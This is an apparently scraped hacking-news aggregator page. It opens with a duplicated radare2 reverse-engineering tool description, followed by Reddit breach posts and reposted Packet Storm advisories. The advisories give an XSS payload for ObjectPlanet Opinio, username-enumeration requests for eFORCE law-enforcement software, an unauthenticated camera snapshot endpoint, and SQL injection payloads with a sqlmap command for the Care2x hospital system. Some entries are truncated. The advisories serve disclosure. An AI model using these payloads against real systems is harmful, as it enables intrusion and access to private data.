r2 is a rewrite from scratch of radare. It provies a set of libraries, tools and plugins to ease reverse engineering tasks. The radare project started as a simple command-line hexadecimal (https://www.kitploit.com/search/label/Hexadecimal) editor focused on forensics, over time more features were added to support a scriptable command-line low level tool to edit from local hard drives, kernel memory, programs, remote gdb servers and be able to analyze, emulate, debug, modify and disassemble any binary.
Install r2 from Git (Clone the repo and run sys/install.sh) or use pip install r2env Read the Official radare2 book (https://book.rada.re/) COMMUNITY.md (https://github.com/radareorg/radare2/blob/master/COMMUNITY.md) engagement CONTRIBUTING.md (https://github.com/radareorg/radare2/blob/master/CONTRIBUTING.md) general rules DEVELOPERS.md (https://github.com/radareorg/radare2/blob/master/DEVELOPERS.md) to improve r2 for your needs SECURITY.md (https://github.com/radareorg/radare2/blob/master/SECURITY.md) on vulnerability report (https://www.kitploit.com/search/label/Vulnerability%20Report) instructions USAGE.md (https://github.com/radareorg/radare2/blob/master/USAGE.md) for an introductory session INSTALL.md (https://github.com/radareorg/radare2/blob/master/INSTALL.md) instructions git clone https://github.com/radareorg/radare2
radare2/sys/install.sh

Plugins
Most of the plugins you need may be available in the stock r2 installation, but you can find more in the r2pm (https://github.com/radareorg/radare2-pm) package manager. r2pm update # initialize and update the package database
r2pm install [pkg] # installs the package
Some of the most installed packages are: r2ghidra (https://github.com/radareorg/r2ghidra) the native ghidra decompiler plugin: pdg command esilsolve (https://github.com/radareorg/esilsolve) symbolic execution (https://www.kitploit.com/search/label/Symbolic%20Execution) r2 plugin based on esil and z3 r2dec (https://github.com/wargio/r2dec-js) decompiler based on r2 written in js pdd r2frida (https://github.com/nowsecure/r2frida) the frida io plugin r2 frida://0 iaito (https://github.com/radareorg/iaito) - official graphical interface (Qt)
Operating Systems
Windows (since XP), Linux, Darwin, GNU/Hurd, Apple's {Mac,i,iPad,watch}OS, Android [Dragonfly, Net, Free, Open] BSD, Z/OS, QNX, Solaris, Haiku, FirefoxOS.
Architectures
i386, x86-64, ARM, MIPS, PowerPC, SPARC, RISC-V, SH, m68k, m680x, AVR, XAP, S390, XCore, CR16, HPPA, ARC, Blackfin, Z80, H8/300, V810, V850, CRIS, XAP, PIC, LM32, 8051, 6502, i4004, i8080, Propeller, Tricore, CHIP-8, LH5801, T8200, GameBoy, SNES, SPC700, MSP430, Xtensa, NIOS II, Java, Dalvik, WebAssembly, MSIL, EBC, TMS320 (c54x, c55x, c55+, c66), Hexagon, Brainfuck, Malbolge, whitespace, DCPU16, LANAI, MCORE, mcs96, RSP, SuperH-4, VAX, AMD Am29000.
File Formats
ELF, Mach-O, Fatmach-O, PE, PE+, MZ, COFF, OMF, TE, XBE, BIOS/UEFI, Dyldcache, DEX, ART, CGC, Java class, Android boot image, Plan9 executable, ZIMG, MBN/SBL bootloader, ELF coredump, MDMP (Windows minidump), WASM (WebAssembly binary), Commodore VICE emulator, QNX, WAD, OFF, Game Boy (Advance), Nintendo DS ROMs and Nintendo 3DS FIRMs, various filesystems.
Contributing
There are many ways to contribute to the project, join the IRC/Matrix/Telegram channels, check out the github issues or grep for the TODO comments in the source. To contribute with code, create a branch in your forked repository and push a pull request, follow the coding style and ensure it passes the tests with the r2r tool to run the tests that are under the tests/ subdirectory. For more details read the CONTRIBUTING.md (https://github.com/radareorg/radare2/blob/master/CONTRIBUTING.md) file.
Community and Documentation

___________________________
@hacking_Attack
@Hacking_Video

To learn more about r2 we encourage you to watch youtube talks from r2con (https://www.youtube.com/c/r2con) conference (https://rada.re/con). As well as reading blogposts, slides or read the Official radare2 book (https://book.rada.re/), You can reach us in the following chats: irc.libera.chat #radare #radare_side Matrix (https://matrix.org/) #radare:matrix.org Telegram (https://t.me/radare) and the Side Channel (https://t.me/radare_side) Discord (https://discord.gg/MgEdxrMnqx) server Twitter: @radareorg (https://twitter.com/radareorg) Website: https://www.radare.org/

Download Radare2 (https://github.com/radareorg/radare2)

___________________________
@hacking_Attack
@Hacking_Video

Radare2 - UNIX-like Reverse Engineering Framework And Command-Line Toolset

r2 is a rewrite from scratch of radare. It provies a set of libraries, tools and plugins to ease reverse engineering tasks. The radare project started as a simple command-line hexadecimal editor focused on forensics, over time more features were added to support a scriptable command-line low level tool to edit from local hard drives, kernel memory, programs, remote gdb servers and be able to analyze, emulate, debug, modify and disassemble any binary. Install r2 from Git (Clone the repo and run sys/install.sh) or use pip install r2env Read the Official radare2 book COMMUNITY.md engagement CONTRIBUTING.md general rules DEVELOPERS.md to improve r2 for your needs SECURITY.md on vulnerability report instructions USAGE.md for an introductory session INSTALL.md instructions git clone https://github.com/radareorg/radare2radare2/sys/install.sh Plugins Most of the plugins you need may be available in the stock r2 installation, but you can find more in the r2pm package manager. r2pm update # initialize and update the package databaser2pm install pkg # installs the package Some of the most installed packages are: r2ghidra the native ghidra decompiler plugin: pdg command esilsolve symbolic execution r2 plugin based on esil and z3 r2dec decompiler based on r2 written in js pdd r2frida the frida io plugin r2 frida://0 iaito - official graphical interface (Qt) Operating Systems Windows (since XP), Linux, Darwin, GNU/Hurd, Apple's {Mac,i,iPad,watch}OS, Android Dragonfly, Net, Free, Open BSD, Z/OS, QNX, Solaris, Haiku, FirefoxOS. Architectures i386, x86-64, ARM, MIPS, PowerPC, SPARC, RISC-V, SH, m68k, m680x, AVR, XAP, S390, XCore, CR16, HPPA, ARC, Blackfin, Z80, H8/300, V810, V850, CRIS, XAP, PIC, LM32, 8051, 6502, i4004, i8080, Propeller, Tricore, CHIP-8, LH5801, T8200, GameBoy, SNES, SPC700, MSP430, Xtensa, NIOS II, Java, Dalvik, WebAssembly, MSIL, EBC, TMS320 (c54x, c55x, c55+, c66), Hexagon, Brainfuck, Malbolge, whitespace, DCPU16, LANAI, MCORE, mcs96, RSP, SuperH-4, VAX, AMD Am29000. File Formats ELF, Mach-O, Fatmach-O, PE, PE+, MZ, COFF, OMF, TE, XBE, BIOS/UEFI, Dyldcache, DEX, ART, CGC, Java class, Android boot image, Plan9 executable, ZIMG, MBN/SBL bootloader, ELF coredump, MDMP (Windows minidump), WASM (WebAssembly binary), Commodore VICE emulator, QNX, WAD, OFF, Game Boy (Advance), Nintendo DS ROMs and Nintendo 3DS FIRMs, various filesystems. Contributing There are many ways to contribute to the project, join the IRC/Matrix/Telegram channels, check out the github issues or grep for the TODO comments in the source. To contribute with code, create a branch in your forked repository and push a pull request, follow the coding style and ensure it passes the tests with the r2r tool to run the tests that are under the tests/ subdirectory. For more details read the CONTRIBUTING.md file. Community and Documentation To learn more about r2 we encourage you to watch youtube talks from r2con conference. As well as reading blogposts, slides or read the Official radare2 book, You can reach us in the following chats: irc.libera.chat #radare #radare_side Matrix #radare:matrix.org Telegram and the Side Channel Discord server Twitter: @radareorg Website: https://www.radare.org/ Download Radare2
Read more...

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hacker downloads close to 300k personal ID photos from Estonian gov database

https://external-preview.redd.it/cn5JbZ--LymBKx-bR71oD-DSh60T96msipcxo6KpkB8.jpg?width=640&crop=smart&auto=webp&s=31b2a2bafdacb3b4b4b1b2367ba4bb4b282bee6b submitted by /u/pcaversaccio
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Are cryptocurrency exchange hacks easier?

Bithumb lost an estimated $30 Million. Bithumb's hack took place on June 19, with about $30 million in tokens stolen, Coinrail: $37.2 Million Before Bithumb, there was Coinrail. The rival South Korean exchange was hacked just over a week before Bithumb.

Thieves took about $37.2 million worth of digital currency, with the bulk of tokens stolen including those of Pundi X and Aston coins.

Bitcoin lost around 11% of its total value in the immediate aftermath of the hack BitGrail: $195 Million Coincheck: $534 Million From 2012 over 45 exchanges have suffered great expoilts. Being a moderator of a subreddit, and exposure to years of experience in the hacking world. I feel its a pattern.

Are cryptocurrency exchanges doing a terrible job in terms of cyber security?

submitted by /u/Simonvilla1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Denver IP Camera SHO-110 Snapshot Disclosure

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
Denver IP Camera SHO-110 suffers from an unauthenticated disclosure of a snapshot.

MD5 | 9c56c41fd6c84e6025c78a7ea70f8fc2

Download
# Exploit Title: Denver IP Camera SHO-110 - Unauthenticated Snapshot
# Date: 28 July 2021
# Exploit Author: Ivan Nikolsky (enty8080)
# Vendor Homepage: https://denver.eu/products/smart-home-security/denver-sho-110/c-1024/c-1243/p-3826
# Version: Denver SHO-110 (all firmware versions)
# Tested on: Denver SHO-110

Backdoor was found in a Denver SHO-110 IP Camera. Maybe other models also have this backdoor too.

So, the backdoor located in the camera's second http service, allows the attacker to get a snapshot through `/snapshot` endpoint. There are two http services in camera: first - served on port 80, and it requires authentication, and the second - served on port 8001, and it does not require authentication.

It's possible to write a script that will collect snapshots and add them to each other, so the attacker will be able to disclosure the camera stream.

PoC:

http://
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ObjectPlanet Opinio 7.12 Cross Site Scripting

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png ObjectPlanet Opinio version 7.12 suffers from reflective and persistent cross site scripting vulnerabilities.

MD5 | 9b86eabdb364ff978a10f286fc4d44d6Download # Exploit Title: ObjectPlanet Opinio 7.12 allows Cross-Site Scripting
# Vendor Homepage: https://www.objectplanet.com/opinio/
# Software Link: https://www.objectplanet.com/opinio/
# Exploit Authors: Ang Kar Min (https://www.linkedin.com/in/karmin-ang)
# CVE: CVE-2020-26563

# Timeline
- September 2019: Initial discovery
- July 2020: Reported to ObjectPlanet
- August 2020: Fix/patch provided by ObjectPlanet
- July 2021: Published CVE-2020-26563

# 1. Introduction
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and managed.

# 2. Vulnerability Details
ObjectPlanet Opinio before version 7.13 is vulnerable to stored Cross-Site Scripting (Stored XSS) and reflected Cross-Site Scripting (Reflected XSS).

# 3. Proof of Concept

### Reflected XSS executed in URL ###

The following payload was executed when injected as part of the URL"/survey/admin/surveyAdmin.do?action=viewSurveyAdmin&surveyId=1234":

“&zwzc4%22%3e%3cinput%20type%3dtext%20autofocus%20onfocus%3dconfirm(1)%2f%2f”

Affected URL:/survey/admin/surveyAdmin.do?
### Stored XSS ###

Stored XSS payload such as “ can be saved in various parameter fields. The malicious payload is executed when a user visits a page that preview or published the payloads.

Stored XSS payload such “ can be saved in various parameter fields and executed when a user visits a page where the payload is retrieved. For example, a survey question can be created as part of a survey to store the malicious payload. When this survey previewed, the payload will be retrieved and trigger the XSS vulnerability.

This stored XSS vulnerability affects any page where the affected parameters are accepted and triggered similarly as described in the previous example.
Affected URL(s) and Parameter(s):
- /survey/admin/question.do
'questionText', 'ratingMinText', 'ratingMaxText', 'ratingNALabel', 'multMinError', 'numError', 'numPrefix', 'numPostfix', 'numReqError', 'dropdownLabel', parameters

- /survey/admin/section.do
'title' parameter

- /survey/admin/sectionText.do
'text' parameter

- /survey/admin/plugin.do
'plugin_survey_closed_message', 'plugin_restrict_nrics', '&plugin_survey_email_content' parameter

- /survey/admin/confirm.do
'confirmMessageKeyParam', ‘org.apache.struts.taglib.html.TOKEN’ parameter

- /survey/admin/folder.do
'msgKey' parameter

- /survey/admin/file.do
'resourceName', ‘resourcePath’ parameter

- /survey/admin/setup.do
'characterEncoding', 'emailForErrors', 'fromEmail', 'language', 'systemBaseUrl' parameters

- /survey/admin/questionList.do?action=viewQuestionList&surveyId=1806
arbitrarily supplied URL parameter

- /survey/admin/resources.do?action=viewResourcesByType&resourceType=8&fileListType=6125&selectedPreviewLocation=&selectedPreviewHeight=&selectedPreviewWidth=&selectedRadioId=select1_©ToPosition=-1&isSimpleLayout=false
arbitrarily supplied URL parameter

- /survey/admin/surveyAdmin.do?action=viewSurveyAdmin&surveyId=3404&isPoll=1
arbitrarily supplied URL parameter
# 4. Remediation
Apply the latest fix/patch from objectplanet.

# 5. Credits
Ang Kar Min (https://www.linkedin.com/in/karmin-ang) Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
IntelliChoice eFORCE Software Suite 2.5.9 Username Enumeration

https://1.bp.blogspot.com/-_z3KH6wgATQ/WWlvetqx6oI/AAAAAAAAIP0/wJ_a-RmXRcUnD9obiJAgo7XfY0pS1AZPwCLcBGAs/s1600/h82.png
IntelliChoice eFORCE Software Suite version 2.5.9 allows for username enumeration.

MD5 | 3dbce8c7f3ef261ca1360be805297f27

Download

IntelliChoice eFORCE Software Suite v2.5.9 Username Enumeration
Vendor: IntelliChoice, Inc.
Product web page: https://www.eforcesoftware.com
Affected version: 2.5.9.6
2.5.9.5
2.5.9.3
2.5.9.2
2.5.9.1
2.5.8.0
2.5.7.20
2.5.7.18
2.5.6.18
2.5.4.6
2.5.3.11

Summary: IntelliChoice is a United States software company that was
founded in 2003, and offers a software title called eFORCE Software
Suite. eFORCE Software Suite is law enforcement software, and includes
features such as case management, court management, crime scene management,
criminal database, dispatching, evidence management, field reporting,
scheduling, court management integration, certification management,
and incident mapping. With regards to system requirements, eFORCE
Software Suite is available as SaaS, Windows, iPhone, and iPad software.

Desc: The weakness is caused due to the login script and how it verifies
provided credentials. Attacker can use this weakness to enumerate valid
users on the affected application via 'ctl00$MainContent$UserName' POST
parameter.

Tested on: Microsoft-IIS/10.0
Microsoft-IIS/8.5
ASP.NET/4.0.30319
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5658
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5658.php
03.05.2021

--
Request/response for existent username:
---------------------------------------

POST /eFORCECommand/Account/Login.aspx HTTP/1.1

__LASTFOCUS:
__EVENTTARGET:
__EVENTARGUMENT:
__VIEWSTATE: Xxx
__VIEWSTATEGENERATOR: 4A5A1A0F
__EVENTVALIDATION: Xxx
ctl00$MainContent$UserName: eforce
ctl00$MainContent$Password: 123456
ctl00$MainContent$btnLogin.x: 20
ctl00$MainContent$btnLogin.y: 7
Response:
Invalid password entered for username eforce.
Request/response for non-existent username:
-------------------------------------------

POST /eFORCECommand/Account/Login.aspx HTTP/1.1

__LASTFOCUS:
__EVENTTARGET:
__EVENTARGUMENT:
__VIEWSTATE: Xxx
__VIEWSTATEGENERATOR: 4A5A1A0F
__EVENTVALIDATION: Xxx
ctl00$MainContent$UserName: testingus
ctl00$MainContent$Password: 123456
ctl00$MainContent$btnLogin.x: 20
ctl00$MainContent$btnLogin.y: 7
Response:
Unable to login: User name testingus is not registered.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Microsoft Exchange AD Schema Misconfiguration Privilege Escalation

https://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png
The msExchStorageGroup schema class added during Exchange installation can be used to create almost any AD object including users, groups or domain trusts leading to elevation of privilege.

MD5 | 5f885a87a9be3f10bfe9e9e4c08c923c

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CloverDX 5.9.0 Code Execution / Cross Site Request Forgery

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Care2x Integrated Hospital Info System 2.7 SQL Injection

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
Care2x Integrated Hospital Info System version 2.7 suffers from multiple remote SQL injection vulnerabilities.

MD5 | 2edf1e8741d37582e1ac3205362fd224

Download
# Exploit Title: Care2x Integrated Hospital Info System 2.7 - 'Multiple' SQL Injection
# Date: 29.07.2021
# Exploit Author: securityforeveryone.com
# Vendor Homepage: https://care2x.org
# Software Link: https://sourceforge.net/projects/care2002/
# Version: =< 2.7 Alpha
# Tested on: Linux/Windows
# Researchers : Security For Everyone Team - https://securityforeveryone.com

DESCRIPTION

In Care2x < 2.7 Alpha, remote attackers can gain access to the database by exploiting a SQL Injection vulnerability via the "pday", "pmonth", "pyear" parameters.

The vulnerability is found in the "pday", "pmonth", "pyear" parameters in GET request sent to page "nursing-station.php".

Example:

/nursing-station.php?sid=sid&lang=en&fwd_nr=&edit=1&retpath=quick&station=123123&ward_nr=1&dept_nr=&pday=[SQL]&pmonth=[SQL]&pyear=[SQL]&checkintern=

if an attacker exploits this vulnerability, attacker may access private data in the database system.

EXPLOITATION

# GET /nursing-station.php?sid=sid&lang=en&fwd_nr=&edit=1&retpath=quick&station=station&ward_nr=1&dept_nr=&pday=[SQL]&pmonth=[SQL]&pyear=[SQL]&checkintern= HTTP/1.1
# Host: Target

Sqlmap command: sqlmap.py -r request.txt --level 5 --risk 3 -p year --random-agent --dbs

Payload1: pyear=2021') RLIKE (SELECT (CASE WHEN (9393=9393) THEN 2021 ELSE 0x28 END)) AND ('LkYl'='LkYl
Payload2: pyear=2021') AND (SELECT 4682 FROM (SELECT(SLEEP(5)))wZGc) AND ('dULg'='dULg

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video